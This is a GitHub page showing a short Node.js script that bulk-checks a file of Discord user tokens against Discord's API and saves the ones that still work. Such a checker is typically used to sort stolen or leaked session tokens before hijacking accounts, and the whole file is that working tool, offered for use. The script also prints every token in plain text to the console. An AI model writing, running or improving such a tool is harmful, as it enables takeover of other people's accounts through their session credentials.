-
Notifications
You must be signed in to change notification settings - Fork 0
/
index.js
67 lines (59 loc) · 1.54 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
// Description: Checks a list of tokens for validity.
//Dependencies
const axios = require("axios")
const Fs = require("fs")
// Variables
const self_args = process.argv.slice(2)
// Checks
if (self_args.length < 2) {
console.log("node index.js <input> <output>")
process.exit()
}
if (!Fs.existsSync(self_args[0])) {
console.log("Invalid input.")
process.exit()
}
if (!Fs.existsSync(self_args[1])) {
Fs.writeFileSync(self_args[1], "")
}
let valid_tokens = []
let invalid_tokens = []
let check_tokens = Fs.readFileSync(self_args[0], "utf-8").split("\n")
// Function to check tokens
async function checkToken(token) {
const response = await fetch('https://discord.com/api/v8/users/@me', {
method: 'GET',
headers: {
'Authorization': token
}
});
const data = await response.json();
if (data.hasOwnProperty('message')) {
return false;
} else {
return true;
}
}
// Main function
async function main() {
let i = 0
while (i < check_tokens.length) {
let token = check_tokens[i]
if (!token || token == "") {
i++
continue
}
let res = await checkToken(token)
if (res) {
valid_tokens.push(token)
console.log("Valid token found: " + token)
} else {
invalid_tokens.push(token)
console.log("Invalid token found: " + token)
}
i++
}
// Write the valid tokens to the output file
Fs.writeFileSync(self_args[1], valid_tokens.join("\n"))
}
main()